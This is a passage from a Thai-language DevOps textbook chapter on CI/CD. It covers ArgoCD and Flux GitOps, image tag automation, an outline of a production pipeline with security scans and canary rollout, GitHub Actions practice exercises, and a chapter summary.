- ArgoCD = UI สวย, มี app-of-apps pattern (1 app manage หลาย app)
- Flux = น้ำหนักเบากว่า, CLI-first, image automation ในตัว
Install ยังไง — ทั้งคู่ install ด้วย
helm installหรือkubectl applyจาก manifest official (ดู argo-cd.readthedocs.io / fluxcd.io). ดูรายละเอียดเต็มใน Kubernetes Book
Image updater — ใครเปลี่ยน tag ใน config repo
CI build image เสร็จ → ใครเป็นคนแก้ image tag ใน config repo? มี 3 แบบ:
- CI commit เอง — หลัง push image แล้วให้ CI workflow แก้ tag ใน config repo (
kustomize edit set imageหรือyqแล้วgit commit). เรียบง่ายที่สุด - ArgoCD Image Updater — plugin ของ ArgoCD ที่ poll registry หา image tag ใหม่แล้ว commit ให้เอง
- FluxCD Image Automation — Flux มี controller ทำเรื่องนี้ในตัว (
ImageRepository+ImageUpdateAutomation)
🏛️ App-of-apps pattern (ArgoCD) — สำหรับองค์กรใหญ่ที่มี 100+ apps. สร้าง ArgoCD app ตัวเดียวที่ point ไปยัง repo รวมรายการ app ทั้งหมด แล้ว app นั้นสร้าง ArgoCD app ลูกอีกที — manage ทุก app จากที่เดียว
Continuous Delivery vs Deployment
text
Continuous Delivery (พร้อม deploy แต่รอคน):
Code → build → test → พร้อม deploy แต่รอคนกดปุ่ม
Continuous Deployment (deploy อัตโนมัติ):
Code → build → test → deploy อัตโนมัติเลยถ้า test ผ่านNetflix / GitHub / Etsy = Deployment (deploy อัตโนมัติเลย ไม่มีคนกด). Banking / Insurance = Delivery (เตรียมพร้อมแต่ให้คนกดอนุมัติก่อน — เพราะเสี่ยงสูง / มี regulation บังคับ)
26. Real-world Example — Full Pipeline
Pipeline ระดับ production ที่รวมทุกอย่างในบทนี้ — ตั้งแต่ PR (lint/test/scan/preview) ไปจนถึง main (build/deploy staging/canary/monitor/rollback) ลองไล่ดูว่า commit เดียวเดินทางผ่านอะไรบ้างกว่าจะถึง production ทุกคำในลิสต์นี้ผ่านการอธิบายมาแล้วในหัวข้อก่อนหน้า — อ่านเป็น "แผนที่สรุป" ไม่ต้องจำคำใหม่เพิ่ม:
text
1. Dev commit + push code
2. PR ถูกเปิด
├── Lint (eslint / checkstyle — ตรวจ style code)
├── Type check (TypeScript / mypy)
├── Unit tests (ทดสอบฟังก์ชันเดี่ยว)
├── Integration tests (ทดสอบกับ DB จริง)
├── Security scan (Snyk, CodeQL — หา CVE + บั๊กความปลอดภัย)
├── Build Docker image
├── Container scan (Trivy — สแกน image หา CVE)
├── Deploy preview environment (PR ละ 1 environment)
├── E2E tests รันบน preview
└── คอมเมนต์ URL ของ preview กลับมาที่ PR
3. PR approved + merge เข้า main
4. Main pipeline:
├── รัน test ทั้งหมดข้างบนซ้ำ
├── Build + push image เข้า registry
├── Deploy ขึ้น staging
├── E2E tests บน staging
├── Performance tests (load test)
├── Auto-deploy ขึ้น production แบบ canary (10% ก่อน)
├── เฝ้าดู metric 30 นาที (error rate, latency, business KPI)
├── ถ้า OK: ขยายเป็น 100%
└── แจ้ง Slack
5. Production monitoring
└── Auto-rollback ถ้า error rate พุ่งสูง15-30 นาที จาก commit → production
27. Checkpoint
แบบฝึกหัดไล่จากสร้าง workflow แรก ไปจนถึง multi-job pipeline, deploy, security scan และ notification:
🛠️ Checkpoint 5.1 — First Workflow
- Create
.github/workflows/ci.yml - Run lint + test on push + PR
- Add status badge to README
🛠️ Checkpoint 5.2 — Multi-job Pipeline
- 3 jobs: lint, test, build
needs:dependency- Matrix build (Node 18, 20)
- Cache deps
🛠️ Checkpoint 5.3 — Deploy
- Build + push Docker image to GHCR
- Deploy to staging on push to main
- Deploy to prod on workflow_dispatch with approval
🛠️ Checkpoint 5.4 — Security
- Add Snyk / Dependabot
- Add Trivy container scan
- Block merge if HIGH/CRITICAL CVE (CVE = Common Vulnerabilities and Exposures, รหัสช่องโหว่ความปลอดภัยมาตรฐาน — ขยายตั้งแต่ใช้ครั้งแรกในข้อ 15)
🛠️ Checkpoint 5.5 — Notification
- Slack webhook on deploy success/fail
- Custom message with commit + author
28. สรุปบท
สิ่งที่ควรเข้าใจหลังจบบทนี้:
✅ CI = build + test อัตโนมัติทุก commit, CD = ส่ง/deploy อัตโนมัติ ✅ GitHub Actions = มาตรฐานปี 2026 — ฟรีสำหรับ public repo และผูกกับ GitHub แน่น ✅ โครงสร้าง: Workflow → Jobs → Steps ✅ Trigger ที่ใช้บ่อย: push, PR, schedule (cron), manual, release ✅ เก็บค่าลับใน GitHub Secrets, ใช้ environment แยก prod ✅ กลยุทธ์ deploy: rolling / blue-green / canary / feature flag ✅ Test pyramid: unit เยอะสุด > integration > E2E ✅ Cache dep + matrix build + reusable workflow = pipeline เร็ว ✅ Security scan ใน CI: SAST, dependency, container image, IaC ✅ GitOps (ArgoCD/Flux) = deploy = commit เข้า config repo ✅ OIDC สำหรับ cloud auth — เลิกใช้ static key ✅ Supply chain security 2026: pin SHA, provenance, SBOM, Cosign signing ✅ Pin action ตามเวอร์ชัน/SHA + ให้ permission น้อยที่สุด + ดูแล secret ให้สะอาด
← ก่อนหน้า: Kubernetes Book | บทที่ 6 → Cloud Platforms
🔤 Glossary · 📋 Style guide · 📅 last_verified: 2026-06-03